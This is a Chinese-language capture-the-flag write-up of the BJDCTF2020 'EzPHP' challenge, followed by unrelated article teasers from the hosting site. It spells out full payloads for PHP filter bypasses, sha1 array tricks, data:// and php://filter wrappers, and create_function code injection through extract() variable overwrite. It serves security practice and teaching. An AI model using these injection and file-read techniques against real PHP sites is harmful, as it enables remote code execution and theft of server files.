[BJDCTF2020]EzPHP 許多的特性

這道題可以學到很多東西 靜下心來慢慢通過本地知道是干嘛用的就可以學會了

BJDctf2020 Ezphp_[bjdctf2020]ezphp-CSDN博客

這里開始

一部分一部分看

$_SERVER['QUERY_SRING']的漏洞

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // print_r($_SERVER['QUERY_STRING']);die('You seem to want to do something bad?'); 
}

這里是出現這些內容我們就報錯

這里使用url編碼繞過

$_SERVER['QUERY_STRING']函數不對傳入的東西進行url編碼

所以我們傳入什么就是什么 但是最后到服務端 還是會解碼

然后我們看下面

繞過preg_match %0a

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

這里首先file不能使用http 然后需要debu傳入 aqua_is_cute 但是不能等于

這里很簡單 使用 %0a繞過即可

所以目前的payload

?deb%75=aq%75a_is_c%75te%0a這里是因為上面的繞過 所以需要url編碼

繼續

$_REQUEST? 特性 post比get先接受參數

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}  

這里是$_REQUEST 的特性 這里會判斷 是不是有字母在 $_REQUEST 中

但是我們通過post傳遞和get傳遞的時候 POST會被先接受 然后沒有字母 就繞過

所以現在是

GET?deb%75=aq%75a_is_c%75te%0aPOST debu=1

偽協議data偽造

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

這里很簡單了

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75aPOST debu=1&file=2

sha1 === 數組繞過

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

沒有is_string的判斷 不需要碰撞 數組繞過即可

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2POST debu=1&file=2   //其他不需要是因為我們沒有傳入字母了

create_function代碼注入

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

這個也是最難的

首先我們知道create_funtion的代碼是什么

$aaa = create_function('$a, $b', 'return $a+$b;');和function aaa($a,$b){return $a+$b
}一樣但是這里注意 我們現在的arg 其實就是 return $a+$b 并且是可控的 如果我們閉合 代碼注入呢$aaa = create_function('$a, $b', 'return $a+$b;}想執行的函數()');//就變為了function aaa($a,$b){return $a+$b;}
想執行的函數();//
}美化一下function aaa($a,$b){return $a+$b;
}
想執行的函數();      //}這里我們不就實現了代碼注入

這里我們就已經知道這道題如何實現了

這里有個問題 我們如何輸出呢

這里還要注意上面的

extract($_GET["flag"]) 變量覆蓋

 
extract($_GET["flag"])舉例子?flag[name]=John&flag[age]=30,那么調用 extract($_GET["flag"]); 將會創建兩個變量 $name 和 $age,并將它們的值分別設置為 "John" 和 30。

所以這里我們可以將flag通過flag來設定值

這樣我們可以繞過上面的 數字字母過濾 preg_match 不會匹配到
?

所以我們可以構造payload

fl%61ag[co%64e]=create_function&fl%61ag[%61rg]=;}();//

所以現在的payload

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=};//POST debu=1&file=2   //其他不需要是因為我們沒有傳入字母了

然后這里我們無法獲取到內容 所以我們通過 get_defined_vars() 輸出頁面中的所有變量

var_dump(get_defined_vars())輸出頁面所有變量

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//POST debu=1&file=2   //其他不需要是因為我們沒有傳入字母了

?去訪問

直接讀取源代碼

通過文件包含和偽協議實現讀取

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);然后這里過濾了很多我們可以和無回顯rce一樣 取反操作實現}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

所以最后的payload

GET?deb%75=aq%75a_is_c%75te%0a&file=data://text/plain,deb%75_deb%75_aq%75a&shan%61[]=1&p%61sswd[]=2&fl%61g[co%64e]=create_function&fl%61g[%61rg]=
}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//POST debu=1&file=2   //其他不需要是因為我們沒有傳入字母了

然后可以發現獲取到了flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/212434.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/212434.shtml
英文地址,請注明出處:http://en.pswp.cn/news/212434.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Windows 上安裝nvm node版本管理工具 windows安裝nvm 管理工具

Windows 上安裝nvm node版本管理工具 windows安裝nvm 管理工具 1、nvm2、安裝2.1、下載 NVM 安裝程序進行安裝2.2、打開nvm的安裝路徑&#xff0c;運行終端測試是否安裝成功2.3、配置環境變量&#xff0c;讓nvm能在電腦全局使用2.3.1、nvm配置淘寶鏡像2.3.2、nvm環境變量設置 1…

低代碼還是好用的,我持有這個觀念

低代碼開發是近年來迅速崛起的軟件開發方法&#xff0c;讓編寫應用程序變得更快、更簡單。 有人說它是美味的膳食&#xff0c;讓開發過程高效而滿足&#xff0c;但也有人質疑它是垃圾食品&#xff0c;缺乏定制性與深度。 你認為低代碼到底是美味的膳食還是垃圾食品呢&#xff0…

SQL數據庫-客觀題 復習

一.單選 2.學校新開發了一個系統&#xff0c;通過收集與分析學生的學習行為&#xff0c;對其進行精準畫像&#xff0c;進而提供個性化的學習策略&#xff0c;這屬于________系統。 答案&#xff1a;D 知識點&#xff1a;【32010200】 知識考核要求&#xff1a;【3】 能力考…

C++ 模擬實現vector

目錄 一、定義 二、模擬實現 1、無參初始化 2、size&capacity 3、reserve 4、push_back 5、迭代器 6、empty 7、pop_back 8、operator[ ] 9、resize 10、insert 迭代器失效問題 11、erase 12、帶參初始化 13、迭代器初始化 14、析構函數 完整版代碼 一、…

一款基于ESP32的迷你四足機器人

一、軟件介紹 增加自定義動作模式&#xff0c;可以在小程序中自定義一個最多10個步驟的動作。 附件中&#xff1a;帶自定模式固件bin.zip esp32c3固件文件 燒錄下圖設置 無串口版本esp32c3開發板燒錄前先按住BOOT鍵再插線進入燒錄模式&#xff0c;LoadMode選擇USB。 二、AP…

2023團體程序設計天梯賽——模擬賽和總決賽題

M-L1-1 嫑廢話上代碼 Linux 之父 Linus Torvalds 的名言是&#xff1a;“Talk is cheap. Show me the code.”&#xff08;嫑廢話&#xff0c;上代碼&#xff09;。本題就請你直接在屏幕上輸出這句話。 輸入格式&#xff1a; 本題沒有輸入。 輸出格式&#xff1a; 在一行中輸出…

java resource ‘process/qingjia.png‘ not found

resource中的資源在target中沒有&#xff0c;導致報錯&#xff0c;如下圖所示&#xff1a; 解決辦法&#xff1a;在pom文件中添加如下代碼&#xff1a; 重新執行代碼&#xff0c;就能在target中看到png文件了。 類似的錯誤參考鏈接&#xff1a;mybatis-plus框架報錯&#x…

STL模板參數類字段名稱類型參數模板解析方法

指向成員的指針允許您引用類對象的非靜態成員。不能使用指向成員的指針指向靜態類成員&#xff0c;因為靜態成員的地址不與任何特定對象相關聯。若要指向靜態類成員&#xff0c;必須使用普通指針。可以使用指向成員函數的指針&#xff0c;其方式與指向函數的指針相同。您可以比…

【C/C++】可變參數va_list與格式化輸出

va_list與格式化輸出 va_list 文章目錄 va_list與格式化輸出va_list格式化輸出snprintfvsnprintfvasprintf 實例 va_list是在C語言中解決變參問題的一組宏&#xff0c;變參問題是指參數的個數不定&#xff0c;可以是傳入一個參數也可以是多個 用法&#xff1a;在函數里定義va_…

Java 手寫設計HashMap源碼,讓面試官膜拜

Java 手寫HashMap源碼&#xff0c;讓面試官膜拜 一&#xff0c;手寫源碼 這是一個模仿HashMap的put&#xff0c;get功能的自定義的MyHashMap package cn.wxs.demo;import java.io.Serializable; import java.util.*; import java.util.function.BiConsumer;class MyHashMap&…

面向對象三大特征——封裝

目錄 1. 封裝概述&#xff08;封裝與隱藏&#xff09; 2. private關鍵字 3. Getter & Setter方法 4. 變量訪問原則和this關鍵字 5. 構造方法 5.1 構造方法概述 5.2 構造方法和set方法的比較 6. 靜態 6.1 靜態概述 6.2 靜態效果 6.3 靜態變量和非靜態變量的區別 …

win11 CUDA(12.3) + cuDNN(12.x) 卸載

win11 CUDA&#xff08;12.3&#xff09; cuDNN&#xff08;12.x&#xff09;卸載 信息介紹卸載 信息介紹 本文是對應 win11RTX4070Ti 安裝 CUDA cuDNN&#xff08;圖文教程&#xff09; 的卸載 卸載 控制面板 --> 程序 --> 卸載程序 卸載掉圖中紅框內的&#xff0c…

C語言-水仙花數

水仙花數是指一個N位正整數&#xff08;N≥3&#xff09;&#xff0c;它的每個位上的數字的N次冪之和等于它本身。例如&#xff1a;153135333。 本題要求編寫程序,計算所有N位水仙花數。 輸入格式: 輸入在一行中給出一個正整數N&#xff08;3≤N≤7&#xff09;。 輸出格式…

reinforce 跑 CartPole-v1

gym版本是0.26.1 CartPole-v1的詳細信息&#xff0c;點鏈接里看就行了。 修改了下動手深度強化學習對應的代碼。 然后這里 J ( θ ) J(\theta) J(θ)梯度上升更新的公式是用的不嚴謹的&#xff0c;這個和王樹森書里講的嚴謹公式有點區別。 代碼 import gym import torch from …

innobackupex備份目錄

innobackupeex全備腳本思路 四個需求如下&#xff1a; &#xff08;1&#xff09;每天晚上23點執行&#xff0c;這需要linux系統做一個定時任務 00 23 * * * /bin/sh /shell/tencent_xtrabackup_all.sh /dev/null 2>&1 &#xff08;2&#xff09;每天。。看到這個詞…

標識符···

定義 標識符只能由字母、數字、下劃線&#xff08;_&#xff09;和美元符號&#xff08;$&#xff09;組成。標識符必須以字母、下劃線或美元符號開頭&#xff0c;不能以數字開頭。標識符對大小寫敏感&#xff0c;例如"myVariable"和"myvariable"是不同的…

Android 11 適配——整理總結篇

背景 > 經過檢測&#xff0c;我們識別到您的應用&#xff0c;目前未適配安卓11&#xff08;API30&#xff09;&#xff0c;請您關注適配截止時間&#xff0c;盡快開展適配工作&#xff0c;避免影響應用正常發布和經營。 > targetSdkVersion30 升級適配工作參考文檔&am…

從零開發短視頻電商 Jmeter壓測示例模板詳解(無認證場景)

文章目錄 添加線程組添加定時器添加HTTP請求默認值添加HTTP頭管理添加HTTP請求添加結果斷言響應斷言 Response AssertionJSON斷言 JSON Assertion持續時間斷言 Duration Assertion 添加察看結果樹添加聚合報告添加表格察看結果參考 以壓測百度搜索為例 https://www.baidu.com/s…

class066 一維動態規劃【算法】

class066 一維動態規劃 算法講解066【必備】從遞歸入手一維動態規劃 code1 509斐波那契數列 // 斐波那契數 // 斐波那契數 &#xff08;通常用 F(n) 表示&#xff09;形成的序列稱為 斐波那契數列 // 該數列由 0 和 1 開始&#xff0c;后面的每一項數字都是前面兩項數字的和。…

kotlin - ViewBinding

前言 為什么用ViewBinding&#xff0c;而不用findViewById()&#xff0c;這個有很多優秀的博主都做了講解&#xff0c;就不再列出了。 可參考下列博主的文章&#xff1a; kotlin ViewBinding的使用 文章里也給出了如何在gradle中做出相應的配置。 &#xff08;我建議先看這位博…